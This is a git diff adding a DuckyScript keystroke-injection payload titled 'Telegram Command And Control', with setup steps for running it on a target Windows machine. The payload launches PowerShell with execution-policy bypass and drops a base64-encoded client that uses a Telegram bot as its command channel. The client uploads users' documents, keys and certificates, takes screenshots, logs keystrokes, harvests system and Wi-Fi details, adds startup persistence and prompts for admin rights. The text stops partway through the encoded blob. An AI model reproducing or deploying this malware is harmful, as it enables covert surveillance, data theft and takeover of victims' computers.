diff --git a/OSINT/Telegram C2 Client from base64 .txt b/OSINT/Telegram C2 Client from base64 .txt new file mode 100644 index 0000000..6d06f13 --- /dev/null +++ b/OSINT/Telegram C2 Client from base64 .txt @@ -0,0 +1,34 @@ +REM Title: beigeworm's Telegram Command And Control. +REM Author: @beigeworm +REM Description: Using a Telegram Bot's Chat to Act as a Command and Control Platform. +REM Target: Windows 10 and 11 + +REM SETUP INSTRUCTIONS +REM 1. visit https://t.me/botfather and make a bot. +REM 2. add bot api to script. +REM 3. search for bot in top left box in telegram and start a chat then type /start. +REM 5. Run Script on target System +REM 6. Check telegram chat for 'waiting to connect' message. +REM 7. this script has a feature to wait until you start the session from telegram. +REM 8. type in the computer name from that message into telegram bot chat to connect to that computer. +REM 9. Replace TELEGRAM_BOT_API_TOKEN_HERE Below with your Telegram Bot API Token + +REM some setup for dukie script +DEFAULT_DELAY 100 + +REM Open Powershell and start logs. +DELAY 1000 +GUI r +DELAY 500 +STRING powershell -NoP -NonI -Exec Bypass +ENTER +DELAY 5000 + +STRING '$tg = "TELEGRAM_BOT_API_TOKEN_HERE"' | Out-File -FilePath "$env:temp/a.ps1" -Force +ENTER +STRING $b64 = 'JFRva2VuID0gIiR0ZyIgICMgUkVQTEFDRSAkdGcgd2l0aCBZb3VyIFRlbGVncmFtIEJvdCBUb2tlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMgRGVmaW5lIENvbm5lY3Rpb24gVmFyaWFibGVzDQokUGFzc1BocmFzZSA9ICIkZW52OkNPTVBVVEVSTkFNRSINCiRVUkw9J2h0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3R7MH0nIC1mICRUb2tlbg0KJGFwaVVybCA9ICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JFRva2VuL3NlbmRNZXNzYWdlIg0KJEFjY2VwdGVkU2Vzc2lvbj0iIg0KJExhc3RVbkF1dGhlbnRpY2F0ZWRNZXNzYWdlPSIiDQokbGFzdGV4ZWNNZXNzYWdlSUQ9IiINCiRnbG9iYWw6ZXJyb3Jtc2cgPSAwICMgMSA9IHJldHVybiBlcnJvciBtZXNzYWdlcyAob2ZmIGJ5IGRlZmF1bHQpDQoNCiMgRW1vamkgY2hhcmFjdGVycw0KJHRpY2sgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgyNzA1KQ0KJGNvbXAgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgxRjRCQikNCiRjbG9zZWQgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgyNzRDKQ0KJHdhaXRpbmcgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgxRjU1QykNCiRnbGFzcyA9IFtjaGFyXTo6Q29udmVydEZyb21VdGYzMigweDFGNTBEKQ0KJGNtZGUgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgxRjUxNykNCiRwYXVzZSA9IFtjaGFyXTo6Q29udmVydEZyb21VdGYzMigweDIzRjgpDQoNCiMgU3RhcnR1cCBEZWxheQ0KaWYoVGVzdC1QYXRoICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcUG93ZXJTaGVsbFxjb3B5LnBzMSIpe1NsZWVwIDE1fQ0KU2xlZXAgMg0KIyByZW1vdmUgcGF1c2UgZmlsZXMNCmlmKFRlc3QtUGF0aCAiJGVudjpBUFBEQVRBXE1pY3Jvc29mdFxXaW5kb3dzXHRlbXAucHMxIil7cm0gLXBhdGggIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1x0ZW1wLnBzMSIgLUZvcmNlfQ0KaWYoVGVzdC1QYXRoICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcdGVtcC52YnMiKXtybSAtcGF0aCAiJGVudjpBUFBEQVRBXE1pY3Jvc29mdFxXaW5kb3dzXHRlbXAudmJzIiAtRm9yY2V9DQojIEdldCBDaGF0IElEIGZyb20gdGhlIGJvdA0KJHVwZGF0ZXMgPSBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICgkdXJsICsgIi9nZXRVcGRhdGVzIikNCmlmICgkdXBkYXRlcy5vayAtZXEgJHRydWUpIHskbGF0ZXN0VXBkYXRlID0gJHVwZGF0ZXMucmVzdWx0Wy0xXQ0KaWYgKCRsYXRlc3RVcGRhdGUubWVzc2FnZSAtbmUgJG51bGwpeyRjaGF0SUQgPSAkbGF0ZXN0VXBkYXRlLm1lc3NhZ2UuY2hhdC5pZDtXcml0ZS1Ib3N0ICJDaGF0IElEOiAkY2hhdElEIn19DQokTWVzc2FnZVRvU2VuZCA9IE5ldy1PYmplY3QgcHNvYmplY3QgDQokTWVzc2FnZVRvU2VuZCB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICdjaGF0X2lkJyAtVmFsdWUgJENoYXRJRA0KIyBDb2xsZWN0IHNjcmlwdCBjb250ZW50cw0KJHNjcmlwdERpcmVjdG9yeSA9IEdldC1Db250ZW50IC1wYXRoICRNeUludm9jYXRpb24uTXlDb21tYW5kLk5hbWUgLVJhdw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIE9OIFNUQVJUIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNZXNzYWdlIHdhaXRpbmcgZm9yIHBhc3NwaHJhc2UNCiRjb250ZW50cyA9ICIkY29tcCAkZW52OkNPTVBVVEVSTkFNRSAkd2FpdGluZyBXYWl0aW5nIHRvIENvbm5lY3QuLiINCiRwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gQUNUSU9OIEZVTkNUSU9OUyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCkZ1bmN0aW9uIE9wdGlvbnN7DQokY29udGVudHMgPSAiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KPT09PT09PT09ICRjb21wIFRlbGVncmFtIEMyIE9wdGlvbnMgTGlzdCAkY29tcCA9PT09PT09PQ0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KPT09PT09PT09PT09PSAkY21kZSBDb21tYW5kcyBMaXN0ICRjbWRlID09PT09PT09PT09PQ0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQpDbG9zZSAgIDogQ2xvc2UgdGhpcyBTZXNzaW9uDQpFeHRyYUluZm8gICAgOiBFeHRyYSBjb21tYW5kcyBpbmZvcm1hdGlvbg0KUGF1c2VTZXNzaW9uICAgOiBLaWxscyB0aGlzIHNlc3Npb24gYW5kIHJlc3RhcnRzDQpUb2dnbGVFcnJvcnMgICAgOiBUb2dnbGUgZXJyb3IgbWVzc2FnZXMgdG8gY2hhdA0KRm9sZGVyVHJlZSAgICA6IEdldHMgRGlyIHRyZWUgYW5kIHNlbmRzIGl0IHppcHBlZA0KU2NyZWVuc2hvdCAgIDogU2VuZHMgYSBzY3JlZW5zaG90IG9mIHRoZSBkZXNrdG9wDQpLZXljYXB0dXJlICAgIDogQ2FwdHVyZSBLZXlzdHJva2VzIGFuZCBzZW5kDQpFeGZpbHRyYXRlICAgOiBTZW5kcyBmaWxlcyAoc2VlIGJlbG93IGZvciBpbmZvKQ0KU3lzdGVtaW5mbyAgIDogU2VuZCBTeXN0ZW0gaW5mbyBhcyB0ZXh0IGZpbGUNClNvZnR3YXJlaW5mbyAgIDogU2VuZCBTb2Z0d2FyZSBpbmZvIGFzIHRleHQgZmlsZQ0KSGlzdG9yeWluZm8gICA6IFNlbmQgSGlzdG9yeSBpbmZvIGFzIHRleHQgZmlsZQ0KQWRkUGVyc2lzdGFuY2UgICA6IEFkZCBUZWxlZ3JhbSBDMiB0byBTdGFydHVwDQpSZW1vdmVQZXJzaXN0YW5jZSAgIDogUmVtb3ZlIFN0YXJ0dXAgUGVyc2lzdGFuY2UNCklzQWRtaW4gICA6IENoZWNrcyBpZiBzZXNzaW9uIGhhcyBhZG1pbiBQcml2aWxlZ2VzDQpBdHRlbXB0RWxldmF0ZSAgOiBTZW5kIHVzZXIgYSBwcm9tcHQgdG8gZ2FpbiBBZG1pbg0KS2lsbCAgICA6IEtpbGxzd2l0Y2ggZm9yICdLZXlDYXB0dXJlJyBhbmQgJ0V4ZmlsdHJhdGUnIA0KDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ig0KJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMgfCBPdXQtTnVsbA0KfQ0KDQpGdW5jdGlvbiBFeHRyYUluZm97DQokY29udGVudHMgPSAiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KPT09PT09PT09PT09ICRnbGFzcyBFeGFtcGxlcyBhbmQgSW5mbyAkZ2xhc3MgPT09PT09PT09PT0NCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCg0KPT09PT09PT09ICBFeGZpbHRyYXRlIENvbW1hbmQgRXhhbXBsZXMgPT09PT09PT09PQ0KDQooIFBTYD4gRXhmaWx0cmF0ZSAtUGF0aCBEb2N1bWVudHMgLUZpbGV0eXBlIHBuZyApDQooIFBTYD4gRXhmaWx0cmF0ZSAtRmlsZXR5cGUgbG9nICkNCiggUFNgPiBFeGZpbHRyYXRlICkNCkV4ZmlsdHJhdGUgb25seSB3aWxsIHNlbmQgbWFueSBwcmUtZGVmaW5lZCBmaWxldHlwZXMNCmZyb20gYWxsIFVzZXIgRm9sZGVycyBsaWtlIERvY3VtZW50cywgRG93bmxvYWRzIGV0Yy4uDQoNClBBVEgNCkRvY3VtZW50cywgRGVza3RvcCwgRG93bmxvYWRzLA0KT25lRHJpdmUsIFBpY3R1cmVzLCBWaWRlb3MuDQpGSUxFVFlQRQ0KbG9nLCBkYiwgdHh0LCBkb2MsIHBkZiwganBnLCBqcGVnLCBwbmcsDQp3ZG9jLCB4ZG9jLCBjZXIsIGtleSwgeGxzLCB4bHN4LA0KY2ZnLCBjb25mLCBkb2N4LCByZnQuDQoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iDQokcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcyB8IE91dC1OdWxsDQp9DQoNCkZ1bmN0aW9uIENsb3Nlew0KJGNvbnRlbnRzID0gIiRjb21wICRlbnY6Q09NUFVURVJOQU1FICRjbG9zZWQgQ29ubmVjdGlvbiBDbG9zZWQiDQokcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcw0Kcm0gLVBhdGggIiRlbnY6dGVtcC90Z2MyLnR4dCIgLUZvcmNlDQpleGl0DQp9DQoNCkZ1bmN0aW9uIEV4ZmlsdHJhdGUgew0KcGFyYW0gKFtzdHJpbmdbXV0kRmlsZVR5cGUsW3N0cmluZ1tdXSRQYXRoKQ0KJG1heFppcEZpbGVTaXplID0gNTBNQg0KJGN1cnJlbnRaaXBTaXplID0gMA0KJGluZGV4ID0gMQ0KJHppcEZpbGVQYXRoID0iJGVudjp0ZW1wL0xvb3QkaW5kZXguemlwIg0KJGNvbnRlbnRzID0gIiRlbnY6Q09NUFVURVJOQU1FICR0aWNrIEV4ZmlsdHJhdGlvbiBTdGFydGVkLi4gKFN0b3Agd2l0aCBLaWxsc3dpdGNoKSINCiRwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zICB8IE91dC1OdWxsDQpJZigkUGF0aCAtbmUgJG51bGwpeyRmb2xkZXJzVG9TZWFyY2ggPSAiJGVudjpVU0VSUFJPRklMRVwiKyRQYXRofQ0KZWxzZXskZm9sZGVyc1RvU2VhcmNoID0gQCgiJGVudjpVU0VSUFJPRklMRVxEb2N1bWVudHMiLCIkZW52OlVTRVJQUk9GSUxFXERlc2t0b3AiLCIkZW52OlVTRVJQUk9GSUxFXERvd25sb2FkcyIsIiRlbnY6VVNFUlBST0ZJTEVcT25lRHJpdmUiLCIkZW52OlVTRVJQUk9GSUxFXFBpY3R1cmVzIiwiJGVudjpVU0VSUFJPRklMRVxWaWRlb3MiKX0NCklmKCRGaWxlVHlwZSAtbmUgJG51bGwpeyRmaWxlRXh0ZW5zaW9ucyA9ICIqLiIrJEZpbGVUeXBlfQ0KZWxzZSB7JGZpbGVFeHRlbnNpb25zID0gQCgiKi5sb2ciLCAiKi5kYiIsICIqLnR4dCIsICIqLmRvYyIsICIqLnBkZiIsICIqLmpwZyIsICIqLmpwZWciLCAiKi5wbmciLCAiKi53ZG9jIiwgIioueGRvYyIsICIqLmNlciIsICIqLmtleSIsICIqLnhscyIsICIqLnhsc3giLCAiKi5jZmciLCAiKi5jb25mIiwgIiouZG9jeCIsICIqLnJmdCIpfQ0KQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uRmlsZVN5c3RlbQ0KJHppcEFyY2hpdmUgPSBbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpPcGVuKCR6aXBGaWxlUGF0aCwgJ0NyZWF0ZScpDQokZXNjbXNnID0gIkZpbGVzIGZyb20gOiAiKyRlbnY6Q09NUFVURVJOQU1FDQpmb3JlYWNoICgkZm9sZGVyIGluICRmb2xkZXJzVG9TZWFyY2gpIHsNCiAgICBmb3JlYWNoICgkZXh0ZW5zaW9uIGluICRmaWxlRXh0ZW5zaW9ucykgew0KICAgICAgICAkZmlsZXMgPSBHZXQtQ2hpbGRJdGVtIC1QYXRoICRmb2xkZXIgLUZpbHRlciAkZXh0ZW5zaW9uIC1GaWxlIC1SZWN1cnNlDQogICAgICAgIGZvcmVhY2ggKCRmaWxlIGluICRmaWxlcykgew0KICAgICAgICAgICAgJGZpbGVTaXplID0gJGZpbGUuTGVuZ3RoDQogICAgICAgICAgICBpZiAoJGN1cnJlbnRaaXBTaXplICsgJGZpbGVTaXplIC1ndCAkbWF4WmlwRmlsZVNpemUpIHsNCiAgICAgICAgICAgICAgICAkemlwQXJjaGl2ZS5EaXNwb3NlKCkNCiAgICAgICAgICAgICAgICAkY3VycmVudFppcFNpemUgPSAwDQogICAgICAgICAgICAgICAgY3VybC5leGUgLUYgY2hhdF9pZD0iJENoYXRJRCIgLUYgZG9jdW1lbnQ9QCIkemlwRmlsZVBhdGgiICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JFRva2VuL3NlbmREb2N1bWVudCINCiAgICAgICAgICAgICAgICBSZW1vdmUtSXRlbSAtUGF0aCAkemlwRmlsZVBhdGggLUZvcmNlDQogICAgICAgICAgICAgICAgU2xlZXAgMQ0KICAgICAgICAgICAgICAgICRpbmRleCsrDQogICAgICAgICAgICAgICAgJHppcEZpbGVQYXRoID0iJGVudjp0ZW1wL0xvb3QkaW5kZXguemlwIg0KICAgICAgICAgICAgICAgICR6aXBBcmNoaXZlID0gW1N5c3RlbS5JTy5Db21wcmVzc2lvbi5aaXBGaWxlXTo6T3BlbigkemlwRmlsZVBhdGgsICdDcmVhdGUnKQ0KICAgICAgICAgICAgICAgICRtZXNzYWdlcz1ydGdtc2cNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRtZXNzYWdlcy5tZXNzYWdlLnRleHQgLWNvbnRhaW5zICJraWxsIikgew0KICAgICAgICAgICAgICAgICAgICAkY29udGVudHMgPSAiJGNvbXAgJGVudjpDT01QVVRFUk5BTUUgJGNsb3NlZCBFeGZpbHRyYXRpb24gS2lsbGVkIg0KICAgICAgICAgICAgICAgICAgICAkcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCiAgICAgICAgICAgICAgICAgICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zDQogICAgICAgICAgICAgICAgICAgIGJyZWFrDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJGVudHJ5TmFtZSA9ICRmaWxlLkZ1bGxOYW1lLlN1YnN0cmluZygkZm9sZGVyLkxlbmd0aCArIDEpDQogICAgICAgICAgICAgICAgW1N5c3RlbS5JTy5Db21wcmVzc2lvbi5aaXBGaWxlRXh0ZW5zaW9uc106OkNyZWF0ZUVudHJ5RnJvbUZpbGUoJHppcEFyY2hpdmUsICRmaWxlLkZ1bGxOYW1lLCAkZW50cnlOYW1lKQ0KICAgICAgICAgICAgICAgICRjdXJyZW50WmlwU2l6ZSArPSAkZmlsZVNpemUNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiR6aXBBcmNoaXZlLkRpc3Bvc2UoKQ0KY3VybC5leGUgLUYgY2hhdF9pZD0iJENoYXRJRCIgLUYgZG9jdW1lbnQ9QCIkemlwRmlsZVBhdGgiICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JFRva2VuL3NlbmREb2N1bWVudCIgIHwgT3V0LU51bGwNCnJtIC1QYXRoICR6aXBGaWxlUGF0aCAtRm9yY2UNCiRjb250ZW50cyA9ICIkZW52OkNPTVBVVEVSTkFNRSAkdGljayBFeGZpbHRyYXRpb24gQ29tcGxldGUhIg0KJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMgIHwgT3V0LU51bGwNCn0NCg0KDQpGdW5jdGlvbiBTY3JlZW5zaG90ew0KQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uV2luZG93cy5Gb3Jtcw0KJHNjcmVlbiA9IFtTeXN0ZW0uV2luZG93cy5Gb3Jtcy5TeXN0ZW1JbmZvcm1hdGlvbl06OlZpcnR1YWxTY3JlZW4NCiRiaXRtYXAgPSBOZXctT2JqZWN0IERyYXdpbmcuQml0bWFwICRzY3JlZW4uV2lkdGgsICRzY3JlZW4uSGVpZ2h0DQokZ3JhcGhpY3MgPSBbU3lzdGVtLkRyYXdpbmcuR3JhcGhpY3NdOjpGcm9tSW1hZ2UoJGJpdG1hcCkNCiRncmFwaGljcy5Db3B5RnJvbVNjcmVlbigkc2NyZWVuLkxlZnQsICRzY3JlZW4uVG9wLCAwLCAwLCAkc2NyZWVuLlNpemUpDQokZmlsZVBhdGggPSAiJGVudjp0ZW1wXHNjLnBuZyINCiRiaXRtYXAuU2F2ZSgkZmlsZVBhdGgsIFtTeXN0ZW0uRHJhd2luZy5JbWFnaW5nLkltYWdlRm9ybWF0XTo6UG5nKQ0KJGdyYXBoaWNzLkRpc3Bvc2UoKQ0KJGJpdG1hcC5EaXNwb3NlKCkNCmN1cmwuZXhlIC1GIGNoYXRfaWQ9IiRDaGF0SUQiIC1GIGRvY3VtZW50PUAiJGZpbGVQYXRoIiAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUb2tlbi9zZW5kRG9jdW1lbnQiIHwgT3V0LU51bGwNClJlbW92ZS1JdGVtIC1QYXRoICRmaWxlUGF0aA0KfQ0KDQpGdW5jdGlvbiBLZXlDYXB0dXJlIHsNCiRjb250ZW50cyA9ICIkZW52OkNPTVBVVEVSTkFNRSAkdGljayBLZXlDYXB0dXJlIFN0YXJ0ZWQuLiAoU3RvcCB3aXRoIEtpbGxzd2l0Y2gpIg0KJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMNCiRBUEkgPSAnW0RsbEltcG9ydCgidXNlcjMyLmRsbCIsIENoYXJTZXQ9Q2hhclNldC5BdXRvLCBFeGFjdFNwZWxsaW5nPXRydWUpXSBwdWJsaWMgc3RhdGljIGV4dGVybiBzaG9ydCBHZXRBc3luY0tleVN0YXRlKGludCB2aXJ0dWFsS2V5Q29kZSk7IFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiLCBDaGFyU2V0PUNoYXJTZXQuQXV0byldcHVibGljIHN0YXRpYyBleHRlcm4gaW50IEdldEtleWJvYXJkU3RhdGUoYnl0ZVtdIGtleXN0YXRlKTtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIiwgQ2hhclNldD1DaGFyU2V0LkF1dG8pXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIGludCBNYXBWaXJ0dWFsS2V5KHVpbnQgdUNvZGUsIGludCB1TWFwVHlwZSk7W0RsbEltcG9ydCgidXNlcjMyLmRsbCIsIENoYXJTZXQ9Q2hhclNldC5BdXRvKV1wdWJsaWMgc3RhdGljIGV4dGVybiBpbnQgVG9Vbmljb2RlKHVpbnQgd1ZpcnRLZXksIHVpbnQgd1NjYW5Db2RlLCBieXRlW10gbHBrZXlzdGF0ZSwgU3lzdGVtLlRleHQuU3RyaW5nQnVpbGRlciBwd3N6QnVmZiwgaW50IGNjaEJ1ZmYsIHVpbnQgd0ZsYWdzKTsnDQokQVBJID0gQWRkLVR5cGUgLU1lbWJlckRlZmluaXRpb24gJEFQSSAtTmFtZSAnV2luMzInIC1OYW1lc3BhY2UgQVBJIC1QYXNzVGhydQ0KJExhc3RLZXlwcmVzc1RpbWUgPSBbU3lzdGVtLkRpYWdub3N0aWNzLlN0b3B3YXRjaF06OlN0YXJ0TmV3KCkNCiRLZXlwcmVzc1RocmVzaG9sZCA9IFtUaW1lU3Bhbl06OkZyb21TZWNvbmRzKDEwKQ0KV2hpbGUgKCR0cnVlKXsNCiAgICAka2V5UHJlc3NlZCA9ICRmYWxzZQ0KICAgIHRyeXsNCiAgICB3aGlsZSAoJExhc3RLZXlwcmVzc1RpbWUuRWxhcHNlZCAtbHQgJEtleXByZXNzVGhyZXNob2xkKSB7DQogICAgICAgIFN0YXJ0LVNsZWVwIC1NaWxsaXNlY29uZHMgMzANCiAgICAgICAgZm9yICgkYXNjID0gODsgJGFzYyAtbGUgMjU0OyAkYXNjKyspew0KICAgICAgICAka2V5c3QgPSAkQVBJOjpHZXRBc3luY0tleVN0YXRlKCRhc2MpDQogICAgICAgICAgICBpZiAoJGtleXN0IC1lcSAtMzI3NjcpIHsNCiAgICAgICAgICAgICRrZXlQcmVzc2VkID0gJHRydWUNCiAgICAgICAgICAgICRMYXN0S2V5cHJlc3NUaW1lLlJlc3RhcnQoKQ0KICAgICAgICAgICAgJG51bGwgPSBbY29uc29sZV06OkNhcHNMb2NrDQogICAgICAgICAgICAkdnRrZXkgPSAkQVBJOjpNYXBWaXJ0dWFsS2V5KCRhc2MsIDMpDQogICAgICAgICAgICAka2JzdCA9IE5ldy1PYmplY3QgQnl0ZVtdIDI1Ng0KICAgICAgICAgICAgJGNoZWNra2JzdCA9ICRBUEk6OkdldEtleWJvYXJkU3RhdGUoJGtic3QpDQogICAgICAgICAgICAkbG9nY2hhciA9IE5ldy1PYmplY3QgLVR5cGVOYW1lIFN5c3RlbS5UZXh0LlN0cmluZ0J1aWxkZXIgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYgKCRBUEk6OlRvVW5pY29kZSgkYXNjLCAkdnRrZXksICRrYnN0LCAkbG9nY2hhciwgJGxvZ2NoYXIuQ2FwYWNpdHksIDApKSB7DQogICAgICAgICAgICAgICAgJExTdHJpbmcgPSAkbG9nY2hhci5Ub1N0cmluZygpDQogICAgICAgICAgICAgICAgICAgIGlmICgkYXNjIC1lcSA4KSB7JExTdHJpbmcgPSAiW0JLU1BdIn0NCiAgICAgICAgICAgICAgICAgICAgaWYgKCRhc2MgLWVxIDEzKSB7JExTdHJpbmcgPSAiW0VOVF0ifQ0KICAgICAgICAgICAgICAgICAgICBpZiAoJGFzYyAtZXEgMjcpIHskTFN0cmluZyA9ICJbRVNDXSJ9DQogICAgICAgICAgICAgICAgICAgICRub3NhdmUgKz0gJExTdHJpbmcgDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJG1lc3NhZ2VzPXJ0Z21zZw0KICAgICAgICBpZiAoJG1lc3NhZ2VzLm1lc3NhZ2UudGV4dCAtY29udGFpbnMgImtpbGwiKSB7DQogICAgICAgICRjb250ZW50cyA9ICIkY29tcCAkZW52OkNPTVBVVEVSTkFNRSAkY2xvc2VkIEtleUNhcHR1cmUgS2lsbGVkIg0KICAgICAgICAkcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCiAgICAgICAgSW52b2tlLVJlc3RNZXRob2QgLVVyaSAkYXBpVXJsIC1NZXRob2QgUE9TVCAtQm9keSAkcGFyYW1zIHwgT3V0LU51bGwNCiAgICAgICAgYnJlYWsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBmaW5hbGx5ew0KICAgICAgICBJZiAoJGtleVByZXNzZWQpIHsNCiAgICAgICAgICAgICRlc2Ntc2dzeXMgPSAkbm9zYXZlIC1yZXBsYWNlICdbJjw+XScsIHskYXJnc1swXS5WYWx1ZS5SZXBsYWNlKCcmJywgJyZhbXA7JykuUmVwbGFjZSgnPCcsICcmbHQ7JykuUmVwbGFjZSgnPicsICcmZ3Q7Jyl9DQogICAgICAgICAgICAkdGltZXN0YW1wID0gR2V0LURhdGUgLUZvcm1hdCAiZGQtTU0teXl5eSBISDptbTpzcyINCiAgICAgICAgICAgICRjb250ZW50cyA9ICIkZ2xhc3MgS2V5cyBDYXB0dXJlZCA6ICIrJGVzY21zZ3N5cw0KICAgICAgICAgICAgJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQogICAgICAgICAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMgfCBPdXQtTnVsbA0KICAgICAgICAgICAgJGtleVByZXNzZWQgPSAkZmFsc2UNCiAgICAgICAgICAgICRub3NhdmUgPSAiIg0KICAgICAgICB9DQogICAgfQ0KJExhc3RLZXlwcmVzc1RpbWUuUmVzdGFydCgpDQpTdGFydC1TbGVlcCAtTWlsbGlzZWNvbmRzIDEwDQp9DQp9DQoNCkZ1bmN0aW9uIFN5c3RlbUluZm97DQokZnVsbE5hbWUgPSBOZXQgVXNlciAkRW52OnVzZXJuYW1lIHwgU2VsZWN0LVN0cmluZyAtUGF0dGVybiAiRnVsbCBOYW1lIjskZnVsbE5hbWUgPSAoIiRmdWxsTmFtZSIpLlRyaW1TdGFydCgiRnVsbCIpDQokZW1haWwgPSBHUFJFU1VMVCAtWiAvVVNFUiAkRW52OnVzZXJuYW1lIHwgU2VsZWN0LVN0cmluZyAtUGF0dGVybiAiKFthLXpBLVowLTlfXC1cLl0rKUAoW2EtekEtWjAtOV9cLVwuXSspXC4oW2EtekEtWl17Miw1fSkiIC1BbGxNYXRjaGVzOyRlbWFpbCA9ICgiJGVtYWlsIikuVHJpbSgpDQokY29tcHV0ZXJQdWJJUD0oSW52b2tlLVdlYlJlcXVlc3QgaXBpbmZvLmlvL2lwIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQNCiRjb21wdXRlcklQID0gZ2V0LVdtaU9iamVjdCBXaW4zMl9OZXR3b3JrQWRhcHRlckNvbmZpZ3VyYXRpb258V2hlcmUgeyRfLklwYWRkcmVzcy5sZW5ndGggLWd0IDF9DQokTmVhcmJ5V2lmaSA9IChuZXRzaCB3bGFuIHNob3cgbmV0d29ya3MgbW9kZT1Cc3NpZCB8ID97JF8gLWxpa2UgIlNTSUQqIiAtb3IgJF8gLWxpa2UgIipBdXRoZW50aWNhdGlvbioiIC1vciAkXyAtbGlrZSAiKkVuY3J5cHRpb24qIn0pLnRyaW0oKQ0KJE5ldHdvcmsgPSBHZXQtV21pT2JqZWN0IFd